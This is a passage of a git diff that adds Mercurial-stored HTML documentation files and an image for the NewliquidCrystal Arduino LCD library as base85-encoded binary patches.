zzK=)v#q0G_9>D}@L(%&)OG+darc<`7vd_a_^9pc_Um}@5D~3U2vrG|0pRSq}MnCT* zanZG5P}(iq$f3~lPohfes4t(IWTBH-{xN-rp>_zhDq+_IFHsn&yRS$5zTeLOGP>`h zH()E2Fd8k0LhYMsk>g18upi0_JlKL#zo^ixj{vh>t9>FK_~Z6^h3+9gmF(^OvUhur zw>M7sCrjO>NS;_>zLeH|_m#VXB^Au}^+O%=@^{e}G5F8|A^)i56%*66FtK4lzTx)+ z-7pk6%%%Wab}cAuIoFV$sRlBh38xL%>yJOwtmq&c9H#rh$TRpH|1R@0{~ zQ|ODRZEyIxmc{9U62AS+r+~~AFzO7 zajG-e%lTeaiWJeas4|&VZT(I4ryNSz+5KR?y6{hfxvSY%N(Wr?bR)ZFcQ;jw$%ttF zXj@psv>R-&mHRazQacy<^~L7^638)iPK5*s=%665%Rs5pBjH4;z}7C>i1)ci%~WLW zlm0oj0`W_vRcx+!c#k0flB?>&tTd4>OLyRB#hzsTezTT$a$ReZ&iEXXg%lu7k1@8< zB=Tu8WOdtQ4i4gvkU{U4SI5vFvj!+%R}abAtGhtr_<%Nc{EyQ@t}x{xY$WAB?VHD} zIE*N;Jl=8M+dKrB`=kX^e6R6gM_Kg*(5;yj0y~Z9}iY6&l8cuaRgS32h-Oue1^p(XRL7c)#kdJZ?=dLT_UjIXq2smV7-g^lUb-t z;v==_7-7@fAU+{xweEVQ@-#H&F*B1kJyQXqrhp*AP_5)DdisTNn4tpms&S-ta&_?4s9{n#1y{h7f=bS}5^Zh;;@Uys`# ziXR8`l_)0HdmM121&V@+`~m0vVa6E!zY`)YVHNFrdHtUny-UYnlCtVE`!_u3ev_iu zFGIZhSkPUA^?PqlS2(+Pcn7OKwZ*jmaeo!1duSMF?2Cr-(C=G)OJv>_(W#9Uug?9w z;GXJ##*^mr$7scnfou-h_e$9}lXqk5q0QD1qot!gcmq9Aq9{&hi*3gcQgR{gQ;ld% zB^4LxZ4K?-O+njhX!8+z?5wA%w#KFDv`5PT1LZ+4Yazk>bghYaw`8--fdTIkSMIa= ztOz0{=k`_AHy2kNOfTJ=Ks-b8N=Ljdq;hii3ZPR*WEF8G6=6yp4BhYkzHmE4iKA!) zFP!pJsiKuTWNTv`Ez<-B{xSmaG&Q1loJ$J#9Rg#z5E`Z+fIT@^#{2}DpM7<)7{eLm z&bTm$gY~>9(ujZyT7CN*2NjmW$kW|LUl|O z;US$Q?@P}#wXuatG>zxj-H0g}i!o()^6yUZ^dh7biX<^fZeD^TUdG4G=hQJ}Alf}Y zHIk+GJ%2d)*|0kb-{2*1FUp(Rx%oSwEmx&ys?vYoxkf*N){pyUSB*W)9A+avWd&i5 z6ek1w+h8*FeS8-+q5M=|j}+v1;F$wj5)=D1LBTXM)nC=_^s^iMmd}Ak!{U-&0la$4 zS9>|pE5Aw&0lY2bkt%PLh-a=ENbuD6#~~xMTQ4Q8m->xKNDBd?!<#$AGGL`(+b3UN z#ibw~-MPqY9J6X>z3_hHCR4-{!!wC1$Lj}WPAmR~kU$ZfB!BNVVi|w2p-$!T73By` zK#>+W`0_F}^6jPfy5DUYW5dMy<>X?ItFL>4e;gp8K_`lqKCBn{el@W zaxL4Mr$kU8TY?6ZcD=(AMGDmnjh>J!8_>srpIPImA)L?Jb*&Gm$>ics>Vbs6uEmHn zl>T4S))~}<(nYBvy+{*9q=jN=O0QC+ij)8XLg)}`Xi@|OM1s!<0-=NOAQYt}KqykB zNsu5)jg$nW*U)@)9JR;ZN+CkN`0jpI{Rv7kjmR~<|_xQ!OMnW3N<`(P>Ors zCSJML@kewr3(7k~YX{iu>$=*EFO8Qg8xMC1Ut44W{mL!BWoUm#d*v_qv-gfaL?qWd zUlekdL2J?gPJPg@44hgw12o$N#GH{T4fJ|e>)LUeJXyT{xt$|k?D_AWZB<-t*X`hN zSDU;bzKTif+_Z=Qd8l{k+1$zCF=OW-foE?}S0b_uv&a+?w6lvH*@GLAO+tRP%)HTU zq(Kf9oYytU!ZX|n&>k(IvUcy`hja3v3E8qzuSR#2<<1>;cLw=gweI@cny~>3pJN^y zy+kD_EI=wran+CYcjhym7mvvs^{K2sCEdbXkE*%V7i69`3*?A|ZDjc`(Q#>kX7_LvPBEV@GCER&C$ZcE;Uy+2 zVN~5SuI}1kFGyOtkz8sLp3iqCr14J-pB33~TNc-b9;?iVb4IMxQY`N+#RgX~RbOK8 zIXZb||77dJV|WZdr?l;y0$++ynlpc-sF44tS1uP3%1ia?KC?#rV~k^el3S)}@-duw ze8KYno|->f$jB~SGGA)wx};gI%;rYDE}%onYrcjII1iQNn)u6bu{%>{0;52D*uk#G zC>?&*cq!Ho5n}n--fh7j(g2g2ZS&lgUT5@MYY9R7q1g|b40N)0W?{KhS%N-LV5Jf- zjKkdQA)a+aMRff|^+tpH%C}s;=0?En%i>y=e<=Ky^`-Vkb;;Vk?>?u49ADJB*RX7& ziiOV7Q;xfTvj2rk)-p_8(hSt5-}2@v^ebhri(6=Mme&T)Q!xclnNR9J${?oASMQDM zv9p;SvZXXP&ZRevKgl%oEFw&(B$<_rf7(W&@-WeTfPQ0vewc{D0Gp#^bz4n!h^%`Z zrMVgKfEFhrx}H>BkmSCCPT*^*0&rax*TVgw5c;29KfQ=h|LJuL^tmdP-96~_P@4Ta zI-h@Q$`Su${|kRu(^1H7syTGK>qgrXFf zn#5r^j&8Wz8Ue zi6=`Vrd)09p)t&@2<@Pz=)kMJ#|0`(C%N<6H?T*aLq*uG!^_%6pQV4=TG$!TgwKrR-f%{z67h@%ABY8ZH)E0 z$+|x67Bw|7hx$3jofI2E)(jJT<0* zDu3^9j(rZ5(nSyD;*oou6@GQBaQWSPMTypRtkc9Q39gquPiv+szjDn%XWl7&Auan_ zB|GjN9UPP7rHa=4u5g?IOp4;k>!_*S6ZIBO+%p>X3V!Ga1?!<2&56<=Pv0B1UdtLa z;Ret-fp48p%-42X$?y`m8+JCYuLy*Ekl6 zVY5`CLzL^>g_{=62)mWQN%fI%-kGQ{iR#~1R)&GnVJgS_n-D(6r7<6HA+Gc30R^X7 zyN6Gs(liPVX#v&IHNiSVc*;4mrA>nB8_(xE>v#P1kuaaf4M=pTKL*!NWog4>a zQ8XuRBXEdf;($wX{MC_;Qw6?xIn9kmI)6hQ@37t$Jke7-kQk`^~t_ezIO_- zt_0M4h(wzyNy)x&5F%J`T8q<9zXKN^NzlnvRt-sHRk@N|I)XbUshcHI4Kv@r1k<19 z2?+xeic{*9l~=&{yLR6@{bSue{_Xzp8THKeUQi?NN=Kl{ePth;X&O0FXt}lEV=jY2 zm&eJbsaf9N{t+z&{<8ldOtTZ@vxv|e# z`;t=aN75}$`eY*D`-0WR&YJ&0V* zVp3fPe&DDlc(OT_nfd+3mU%^NyjzDxfKlXcKI~EVC*EZ|5oR>{BDuLL5k$}4Y-x8M zvRQG(s~q}wtgI!Abx~f{((p86rKv!KcjIgcXGC2U@yOS#mXcWl1% z${?&TcvMGQ)mIh!vObTA8 zL`Z;LGG?#)9jp%ARTW&Pi~-V;Z&p1U1cL6JxBqg^u(u%)xI^#X9y>qtt5^wB7Of0y zRL2P}+=4FeR1_B0&Rf}P+(r9-aI6z#vTCbte&YFpHs$?W`lub0viwZn%+DEovzKny z*X}1bYt~>p8UA44u?vEI6H&K$_1ZybhlKyppgRAsX>>tE1Qy1xTgo9#cl%3*F`Z^P zC(Rz+1EpUKHehm(HL?D>q!_bLr)j z3~4+1K#1QMQ`f~@ot5=Q@KQNnc*N?1(SX|WpDwbkqzsNO0j)4^k)8R~2HgWOjzvQu zb$_}$Uk{sy-oPwc8eLd{IYXrrCyro=~t-?k^7 z!11W26;b!?xBv; zJ!cD(iGAA^`VEqo@AROB7g}njETRr!7XwOGc+*S{D`kAn^nrq@+m>oHQnFLXG_BQ$ z%n4t*k$A%pbwf&Pi=~E`>z_TwQ5feGW<`U^!vFtmAga%8%QDcB@3R~QkmZcXz5 PedI$}KBpmWc31ol0WScQ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r______l__c__d3__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r______l__c__d3__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..b43c8a1fa487440bd87db1bfdba34aaaebba9c53 GIT binary patch literal 3542 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r______l__c__d3__8h__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r______l__c__d3__8h__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..76da4e4907d69dd197f82873b43e11ccaeeeda34 GIT binary patch literal 6445 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 Cz8)^>Hhc;I0L1!dA3%F~)%sYC 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 D?&=h} literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/bc__s.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/bc__s.png.i new file mode 100644 index 0000000000000000000000000000000000000000..0dd4588b76d97a387f2e249eb97a4eb9e80d7cf8 GIT binary patch literal 742 zcmVO|NsC0|NsB8yeESL&zGWg9l6@c zOy^Pa`??y3F3$K{>=bO7*=s@eh!C6pgHR%(?@+-wr~x5XbrMnG+y!~cjD-dmLK z{0YD}s%pPdz?J($05DYIRTPU^xcFJs`jP?vb9R1@#scmv+i3tPfG&3o0)Ux_=6Cp9 z0%KGW3~3Vy(E9&iyl;1B+xEL0;z%&0H6_5M|31X~TrRN5(gN2i08cQiEn|H`;NJV> zD<5rh%Y|0a)HN2?Iskyq-+h-1Dr}Oe$LE$~!H`zC832G!#a_i>;_TE|c=0K<+!-)} 